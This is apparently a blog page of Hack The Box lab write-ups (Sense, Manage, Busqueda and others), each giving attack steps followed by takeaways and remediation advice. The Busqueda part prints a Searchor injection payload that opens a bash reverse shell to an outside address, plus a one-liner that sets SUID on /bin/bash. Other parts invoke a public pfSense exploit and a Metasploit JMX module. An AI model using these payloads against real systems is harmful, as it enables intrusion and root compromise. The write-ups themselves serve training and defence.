strings /dev/sdb

Key Takeaways
1. Default credentials on a network-connected device – The Raspberry Pi was accessible over SSH using the factory default credentials pi:raspberry, one of the most widely exploited credential pairs in IoT botnet attacks including the original Mirai botnet. Default credentials must be changed on every device before it is connected to any network.
2. Unrestricted sudo access for the default user – The pi user had full sudo access with no password requirement, meaning any authentication bypass or credential leak leads directly to root with no additional exploitation steps. Default user accounts must have sudo access removed or restricted to only the specific commands required.
3. IoT device on a network with no hardening – The Raspberry Pi was running with factory defaults, default credentials, unrestricted sudo, and no apparent network access controls. IoT and embedded devices must be subject to the same hardening standards as any other networked system.
4. Sensitive data recoverable from a wiped USB drive – The root flag had been deleted from the USB drive but was recoverable from unallocated space using strings. Deleted data is not securely erased until the storage medium is overwritten. Any storage device holding sensitive data must be securely wiped using a dedicated tool before being repurposed or decommissioned.
5. Management interface exposed without authentication – The Pi-hole admin dashboard was accessible without authentication and disclosed device type and software, enabling precise attack planning. Admin interfaces must require authentication and must not be exposed to untrusted networks.
Remediation

[Immediate] Change all default credentials on all IoT and embedded devices Audit every IoT device, Raspberry Pi, network appliance, and embedded system on the network for default credentials. Change all default usernames and passwords immediately before any device is connected to the network. Implement a procurement and deployment checklist that includes credential rotation as a mandatory step.

[Immediate] Remove or restrict sudo access for default accounts Remove unrestricted sudo access from the pi user and all other default accounts across all devices. If elevated access is operationally required, define explicit sudo rules limited to specific required commands and require password authentication for all sudo usage.

[Immediate] Restrict SSH access on IoT devices Disable password-based SSH authentication on all IoT and embedded devices and switch to key-based authentication only. Restrict SSH access to authorized management IP addresses via firewall rules. If SSH is not required, disable it entirely.

[Short-term] Implement secure data deletion procedures Establish a data handling policy requiring all storage media to be securely wiped before repurposing or decommissioning using a tool that performs multiple overwrite passes. Treat USB drives and removable media as potential data leakage points and include them in the data classification and disposal policy.

[Short-term] Require authentication on all admin interfaces The Pi-hole dashboard and any other management interface must require authentication before displaying any content. Place all admin panels behind a VPN or restrict access by source IP. Remove any version or device type disclosure from unauthenticated pages.

[Long-term] Implement an IoT device management and hardening program Define a hardening standard for all IoT and embedded devices covering default credential rotation, service minimization, sudo restrictions, network segmentation, and patch management. Place all IoT devices on a dedicated VLAN with strict egress filtering to prevent them from being used as botnet nodes or pivot points. Include IoT devices in the scope of regular vulnerability scans and penetration tests.
Sense writeup
Sense writeup

Box name: Sense

Difficulty: Easy

OS: OpenBSD

Overview: Sense, while not requiring many steps to complete, can be challenging for some as the proof of concept exploit that is publicly available is very unreliable. An alternate method using the same vulnerability is required to successfully gain access.

Link: https://app.hackthebox.com/machines/Sense?sort_by=created_at&sort_type=desc

Machine IP: 10.129.30.195

Ran rustscan to scan the machine.

rustscan -a 10.129.30.195 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver.

Nothing outright seems interesting in the source code. No robots.txt. Ran feroxbuster. Tried default credentials of admin:pfsense that I found googling but no luck.

feroxbuster -u http://10.129.30.195 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

While that runs I saw version lighttpd 1.4.35 in the nmap scan. Found this but had no success https://nvd.nist.gov/vuln/detail/CVE-2008-1270. Feroxbuster wasn’t finding anything so instead I ran ferox buster on the https port.

feroxbuster -u https://10.129.30.195 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt –insecure

This also wasn’t finding anything. Ran ferboxbuster specifically for files while I keep looking for any potential exploits.

feroxbuster -u https://10.129.30.195 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt –insecure -x txt,php

This scan was able to find a bunch of .txt and .php files. Here’s a few.

Read through them. Changelog.txt was interesting.

It mentions that there are vulnerabilities that were patched. We also find a system-users.txt that is interesting.

Went back to the login and I was able to login with rohit:pfsense.

We get a version for this. Googled for exploits and found CVE 2014-4688 https://www.exploit-db.com/exploits/43560. I can try this first. Copied the exploit as CVE-2014-4688.py. Ran it while I have a listener.

python3 CVE-2014-4688.py –rhost 10.129.30.195 –lhost 10.10.16.147 –lport 1337 –username rohit –password pfsense

And we got a shell.

From reading the script it looks like this grabs a CSRF token, logs in with our creds then submits a payload at /status_rrd_graph_img.php?database=queues;<PAYLOAD>

And before I stabilized the shell I realized I’m already root so I just grabbed the flags.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 80 (HTTP) and 443 (HTTPS). Browsed to the web server and found a pfSense login page. Nothing interesting in source code and no robots.txt. Tried default credentials of admin:pfsense with no success. Noted lighttpd 1.4.35 in the nmap scan output.

rustscan -a 10.129.30.195 –ulimit 5000 -b 2000 — -A -Pn

2 – Directory enumeration and sensitive file discovery Ran feroxbuster against both HTTP and HTTPS. Standard directory enumeration returned nothing useful. Reran feroxbuster targeting specific file extensions against HTTPS and found several txt and php files. Read through them and found two critical files: changelog.txt referencing unpatched vulnerabilities and system-users.txt containing a username and a hint that the default password was in use.

feroxbuster -u https://10.129.30.195 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt –insecure -x txt,php

3 – pfSense login with discovered credentials Used the username from system-users.txt with the default pfSense password and authenticated successfully. Identified the pfSense version from the dashboard.

Credentials: rohit:pfsense

4 – Initial Access and Root – CVE-2014-4688 command injection Researched the pfSense version and found CVE-2014-4688, a command injection vulnerability in the status_rrd_graph_img.php endpoint. The exploit grabs a CSRF token, authenticates with the provided credentials, and injects a payload via the database parameter. Ran the exploit with a netcat listener and caught a shell directly as root. Retrieved both user.txt and root.txt.

python3 CVE-2014-4688.py –rhost 10.129.30.195 –lhost 10.10.16.147 –lport 1337 –username rohit –password pfsense

Key Takeaways
1. Sensitive files exposed via web enumeration – System-users.txt and changelog.txt were accessible without authentication and disclosed a username, a password hint, and information about unpatched vulnerabilities. Web servers must not expose configuration, user, or changelog files to unauthenticated users. All non-application files must be removed from the web root.
2. Default password in use on a privileged account – The rohit account used the default pfSense password, which is publicly documented. Default passwords must be changed on every account before a service is connected to a network and enforced technically where possible.
3. Command injection in pfSense – CVE-2014-4688 (CVSS 10.0 Critical) – The pfSense version running was vulnerable to an authenticated command injection in the graph status endpoint, allowing arbitrary OS command execution. Network appliance and firewall management interfaces must be kept fully patched and restricted to internal management networks only.
4. pfSense running as root – The command injection shell landed directly as root with no further escalation required. Management software and firewall platforms running all processes as root means any code execution vulnerability results in immediate full system compromise. Where possible, services should run under dedicated least-privilege accounts.
5. Management interface exposed on public-facing ports – The pfSense web interface was directly accessible, allowing exploitation from any host. Firewall and network appliance management interfaces must never be exposed to untrusted networks and must be restricted to a dedicated out-of-band management network or VPN.
Remediation

[Immediate] Patch pfSense to remediate CVE-2014-4688 (CVSS 10.0 Critical) Update pfSense to the latest supported version immediately. CVE-2014-4688 is a decade-old critical vulnerability and its presence indicates no patch management has been applied. If the version is end of life, migrate to a supported pfSense or OPNsense release.

[Immediate] Remove all sensitive files from the web root Delete system-users.txt, changelog.txt, and any other non-application files from the web root immediately. Audit all files served by the web server and remove anything that discloses usernames, version information, or configuration details. Restrict directory listing and implement a 404 response for all non-application paths.

[Immediate] Change all default and weak passwords Rotate the rohit account password and all other accounts using the default pfSense password immediately. Enforce strong unique passwords across all management accounts. Implement a policy requiring default credentials to be changed before any appliance or application is connected to the network.

[Immediate] Restrict access to the management interface Block external access to the pfSense web interface at the network perimeter. The management interface must only be accessible from a dedicated management VLAN or over an authenticated VPN connection. Apply firewall rules to restrict access by source IP.

[Long-term] Implement a network appliance patch and hardening program Define a hardening standard for all network appliances covering patch cadence, management interface exposure, default credential rotation, and web root file hygiene. Include firewall and network management interfaces in the scope of regular vulnerability scans and penetration tests.
Oddly Even writeup
Oddly Even writeup

Challenge name: Oddly Even

Difficulty: Very Easy

Category: Coding

Challenge Scenario: The ghostly clock ticks strangely. Determine whether its chimes are even or odd to calm the restless spirits.

Link: https://app.hackthebox.com/challenges/Oddly%2520Even?tab=play_challenge

Machine IP: 154.57.164.66:31146

Navigated to the site.

Looks like a very simple coding challenge. This was my code.
# take in the number n = int(input()) # calculate answer if (n%2==0): answer = 'even' else: answer = 'odd' # print answer print(answer)
For a second I thought I was dumb and looked at the writeup. You just have to scroll down for the flag when the code is correct.

GG
Baby BoneChewerCon writeup

Baby BoneChewerCon writeup

Challenge name: Baby BoneChewerCon

Difficulty: Easy

Category: Web

Challenge Scenario: Due to heavy workload for the upcoming baby BoneChewerCon event, the website is under maintenance and it errors out, but the debugger is still enabled in production!! I think the devil is enticing us to go and check out the secret key.

Link: https://app.hackthebox.com/challenges/baby%2520BoneChewerCon?tab=play_challenge

Machine IP: 154.57.164.79:31408

Navigated to the site.

When I tried to register with just a ‘test’ it brought me to this.

Scrolling down I found APP_KEY with the flag.

GG
Manage writeup
Manage writeup

Box name: Manage

Difficulty: Easy

OS: Linux

Overview: Manage is an easy Linux machine that features an exposed Java RMI service. Exploiting the underlying vulnerable JMX service leads to remote code execution and gaining a remote shell as the tomcat user. Lateral movement to the useradmin account can be achieved by discovering a misconfigured backup archive which leaks sensitive files, including SSH keys and OTP codes. Finally, a sudo misconfiguration allows for creating a privileged user and achieving full privilege escalation.

Link: https://app.hackthebox.com/machines/Manage?tab=machine_info&sort_by=created_at&sort_type=desc

Machine IP: 10.129.234.57

Ran rustscan.

rustscan -a 10.129.234.57 –ulimit 5000 -b 2000 — -A -Pn

Checked out port 8080 and its an Apache Tomcat webserver.

Looked up exploits but didn’t see anything outright that could be interesting. Decided to check out port 2222 as I don’t believe I’ve seen that before. The nmap scan shows it deals with Java RMI. Did some googling and found this https://hacktricks.wiki/en/network-services-pentesting/1099-pentesting-java-rmi.html. Though it isn’t on it’s default port it looks like this is the correct service. Downloaded rmg enum on my machine.

java -jar ~/fknhack/remote-method-guesser/target/rmg-*.jar enum 10.129.234.57 2222

This didn’t seem to show much but after more research I was able to get a shell as tomcat using metasploit multi/misc/java_jmx_server.

Looking for user.txt in home I saw two users but neither had user.txt.

Opened a shell from the meterpreter to use find and I found the location and grabbed that.

Heading back to /home/useradmin I see two interesting directories .google_authenticator and backups. Nothing in /karl looked interesting.

Tried downloading both to my machine but only backups came over.

download /home/useradmin/.google_authenticator

download -r /home/useradmin/backups

Untared the backup on my machine and it’s a backup of the user.

tar -xzvf backup.tar.gz

I tried SSH’ing with the ssh key but it asked for a verification code which is definitely that /.google_authenticator.

ssh useradmin@10.129.234.57 -i id_ed25519

Read that file.

I tried the 99852083 code and we got in.

Ran sudo -l for a quick find and looks like we have access to /adduser.

I created a user kami:kami but I didn’t have the proper privileges.

So I noticed it adds me to a group too. Originally I was trying root but after further research if we add ‘admin’ instead we get root privileges.

Funny note I did this whole machine laying in bed since Im hungover lol.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 2222 (Java RMI), and 8080 (HTTP). Browsed to port 8080 and found an Apache Tomcat web server with no immediately obvious exploits. Port 2222 was identified as a Java RMI service running on a non-standard port.

rustscan -a 10.129.234.57 –ulimit 5000 -b 2000 — -A -Pn

2 – Java RMI enumeration Researched Java RMI pentesting and downloaded remote-method-guesser to enumerate the service. Initial enumeration output was limited but confirmed the service was accessible and identified the underlying JMX exposure.

java -jar rmg-*.jar enum 10.129.234.57 2222

3 – Initial Access – JMX server exploit Used the Metasploit module multi/misc/java_jmx_server to exploit the exposed JMX service and obtained a Meterpreter shell as the tomcat user. Located and retrieved user.txt using find from a shell spawned within the Meterpreter session.

4 – Backup archive and SSH key extraction Enumerated the home directories and found two users, useradmin and karl. Identified two interesting items in the useradmin home directory, a .google_authenticator file and a backups directory. Downloaded the backups directory recursively and extracted the archive to find a backup of the user’s home including an SSH private key.

download -r /home/useradmin/backups tar -xzvf backup.tar.gz

5 – Lateral movement via SSH with OTP Attempted SSH as useradmin with the extracted private key but was prompted for a verification code. Read the .google_authenticator file from the Meterpreter session and used the OTP code to complete authentication. Gained SSH access as useradmin.

ssh useradmin@10.129.234.57 -i id_ed25519

6 – Privilege Escalation – adduser sudo misconfiguration Ran sudo -l and found useradmin could run /usr/sbin/adduser as root. Created a new user and added them to the admin group, which granted root-level privileges. Retrieved root.txt.

Key Takeaways
1. Unauthenticated JMX service exposed on a non-standard port – The JMX service was accessible without authentication on port 2222. JMX provides direct access to the JVM and underlying OS commands and must never be exposed without authentication. Non-standard ports do not reduce exposure and services require access controls regardless of port.
2. Backup archive leaking sensitive files – A backup of the useradmin home directory was stored in a location readable by the tomcat service account, exposing an SSH private key and OTP seed. Backup archives must be stored with restrictive permissions and must never include sensitive credential material such as SSH keys or authenticator seeds.
3. Google Authenticator seed readable by other users – The .google_authenticator file was accessible to the tomcat user, allowing the OTP seed to be read and used to bypass MFA. Authenticator seed files must be readable only by the owning user and must have mode 600 at minimum.
4. MFA bypass via seed file access – Even with MFA enforced on SSH, access to the underlying seed file completely negated the protection. MFA is only effective when the seed is kept confidential. Compromising the seed is equivalent to compromising the second factor entirely.
5. Sudo rule on adduser enabling privilege escalation – The ability to run adduser as root allowed creation of a user in the admin group, granting elevated privileges. Sudo rules for user management commands are effectively equivalent to full root access and must never be granted to standard users.
Remediation

[Immediate] Secure the JMX service Enable JMX authentication and SSL immediately. If remote JMX access is not operationally required, disable it entirely and block port 2222 at the host firewall. If JMX must remain accessible, restrict it to an internal management network and require certificate-based mutual authentication.

[Immediate] Remove sensitive files from backup archives Audit all backup archives for SSH private keys, OTP seeds, credential files, and other sensitive material. Remove any findings and rotate all affected credentials and regenerate any exposed OTP seeds. Implement a backup policy that explicitly excludes credential files from archive scope.

[Immediate] Restrict permissions on the Google Authenticator seed file Set the .google_authenticator file to mode 600 owned by the user across all accounts on all systems. Audit all home directories for world or group readable authenticator files. If the seed has been exposed, revoke it and re-enroll MFA for the affected user.

[Immediate] Remove the adduser sudo rule Delete the sudoers entry allowing useradmin to run adduser as root. Any sudo rule granting user or group management commands is functionally equivalent to full root access. Audit all sudoers configurations across the environment for similar escalation paths.

[Short-term] Restrict access to home directories and backup locations Set all home directories to mode 700 so they are not readable by service accounts or other users. Store backups in a dedicated location accessible only to authorized backup administrators. Apply the principle of least privilege to all service account filesystem access.

[Long-term] Implement a service hardening baseline covering Java and JMX deployments Define a hardening standard for all Java application servers including Tomcat and any JMX or RMI services they expose. This must cover authentication requirements, network access restrictions, service account privileges, and backup security. Include Java RMI and JMX services in the scope of regular vulnerability scans and penetration tests.
Busqueda writeup
Busqueda writeup

Box name: Busqueda

Difficulty: Easy

OS: Linux

Overview: Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user&#039;s Gitea account. Further analysis of the system checkup script&#039;s source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges.

Link: https://app.hackthebox.com/machines/Busqueda?sort_by=created_at&sort_type=desc

Machine IP: 10.129.26.149

Ran rustscan to scan the machine.

rustscan -a 10.129.26.149 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver. Had to add searcher.htb to /etc/hosts.

It looks like some searchengine-esque type website. I checked source code and it looks like it uses Searchor 2.4.0 (line 423).

Did some googling and found this https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection/blob/main/exploit.sh. Set up a listener on 1337 then pasted this into the query:

‘,__import__(‘os’).system(‘bash -c “bash -i >& /dev/tcp/10.10.16.147/1337 0>&1″‘))#

And we got a shell.

Stabilized the shell.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

I tried throwing linpeas on the machine but it deleted on it’s own so there must be some sort of security. Did some local enumeration and eventually found some git credentials.

http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

These credentials are apparently also the same credentials for the svc account we currently have.

I can’t read what the file does so I just tried running it and it gave me possible arguments.

Ran the first command to check it out and it shows us docker containers as mentioned.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

We can find credentials in these containers.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ gitea

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ mysql_db

Tried these on root but I was able to get in. I was able to get in the gitea.searcher.htb with administrator:yuiu1hoiu4i5ho1uh

Before fully diving into that I did research on the last command full-checkup we had access to and we can actually get root from that as it’s using a relative path.

cd /tmp && echo -e ‘#!/bin/bash\nchmod +s /bin/bash’ > full-checkup.sh && chmod +x full-checkup.sh && sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup && /bin/bash -p

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added searcher.htb to /etc/hosts and browsed to the web server. Found a search engine style web application. Checked the page source and identified Searchor 2.4.0 on line 423.

rustscan -a 10.129.26.149 –ulimit 5000 -b 2000 — -A -Pn

2 – Initial Access – Searchor 2.4.0 command injection Researched Searchor 2.4.0 and found a public arbitrary command injection exploit. The search query was passed unsanitised into a Python eval call, allowing injection of arbitrary Python code. Injected a bash reverse shell via the search field and caught a shell as the svc user.

‘,__import__(‘os’).system(‘bash -c “bash -i >& /dev/tcp/10.10.16.147/1337 0>&1″‘))#

3 – Credential discovery in Git config Stabilised the shell and attempted to run LinPEAS but it was deleted automatically. Performed manual enumeration and found a Git config file containing credentials for the cody user embedded in a Gitea remote URL. These credentials also worked for the svc OS account.

Credentials recovered: cody:jh1usoih2bkjaspwe92

4 – Docker container inspection for admin credentials Found a system-checkup.py script executable as root via sudo. Ran it with the docker-ps argument to list running containers, then used docker-inspect with a Go template to dump container environment variables from the gitea and mysql_db containers. Recovered administrator credentials for the Gitea instance.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ gitea sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ mysql_db

Credentials recovered: admin:yuiu1hoiu4i5ho1uh

5 – Privilege Escalation – relative path hijack in system-checkup.py Researched the full-checkup argument and found the script called full-checkup.sh using a relative path with no absolute path validation. Created a malicious full-checkup.sh in /tmp that set the SUID bit on /bin/bash, then ran the script as root from /tmp to execute it. Spawned a root shell.

cd /tmp && echo -e ‘#!/bin/bash\nchmod +s /bin/bash’ > full-checkup.sh && chmod +x full-checkup.sh && sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup && /bin/bash -p

Key Takeaways
1. Command injection in Searchor 2.4.0 – The search query was passed directly into a Python eval call with no sanitisation, allowing arbitrary code execution. User input must never be passed to eval, exec, or any dynamic code execution function. All input must be validated and sanitised before use.
2. Plaintext credentials embedded in Git remote URL – The cody credentials were stored in plaintext in a .git/config file as part of the remote URL. Credentials must never be embedded in Git URLs or committed to any repository. Use SSH keys or credential helpers and audit all repositories for embedded secrets.
3. Credentials in Docker container environment variables – Administrator credentials for Gitea and database credentials were stored in container environment variables, readable by anyone with docker inspect access. Secrets must be injected using a dedicated secrets management solution rather than environment variables and docker inspect must be restricted to authorised users.
4. Relative path execution in a root sudo script – The system-checkup.py script called full-checkup.sh using a relative path, allowing any user with sudo access to the script to plant a malicious version in the current directory. Scripts executed with elevated privileges must use absolute paths for all called binaries and scripts.
5. Sudo access to Docker inspection enabling credential harvesting – The ability to run docker-inspect as root exposed all container environment variables including admin credentials. Docker management commands executed with sudo must be treated as equivalent to root access and must never be granted to standard users without strict controls.
Remediation

[Immediate] Patch Searchor to remediate the command injection vulnerability Update Searchor to a patched version that does not pass user input to eval or any dynamic execution function. Conduct a full code review of the application to identify any other instances of unsafe input handling. Deploy a WAF with command injection detection rules as a compensating control during remediation.

[Immediate] Remove credentials from all Git config files and repositories Audit all Git repositories and config files across the system for embedded credentials in remote URLs or configuration values. Remove any findings, rotate the affected credentials, and rewrite Git history where necessary. Implement pre-commit hooks and a secrets scanning tool to prevent credentials being committed going forward.

[Immediate] Remove credentials from Docker container environment variables Migrate all secrets currently passed as container environment variables to a secrets management solution such as Docker Secrets or HashiCorp Vault. Rotate the Gitea admin and database credentials immediately. Restrict docker inspect access to authorised administrators only.

[Immediate] Fix the relative path vulnerability in system-checkup.py Update system-checkup.py to use absolute paths for all script and binary references. Restrict the sudo rule to prevent users from influencing the working directory from which the script is called. Conduct a review of all scripts executable via sudo for similar relative path issues.

[Short-term] Restrict sudo rules for Docker and system scripts Audit all sudoers entries referencing Docker commands and system scripts. Apply the principle of least privilege and remove any sudo rules that grant capabilities equivalent to unrestricted root access. Any sudo rule allowing Docker interaction must be considered a potential full root escalation path.

[Long-term] Implement secrets management and a secure development baseline Establish a policy prohibiting hardcoded credentials in application code, Git configs, and container definitions. Integrate secrets scanning into the CI/CD pipeline and conduct regular audits of running container configurations for exposed environment variables. Include internally developed scripts and applications in the scope of regular security assessments.

kami@kali:~$ journalctl

Categories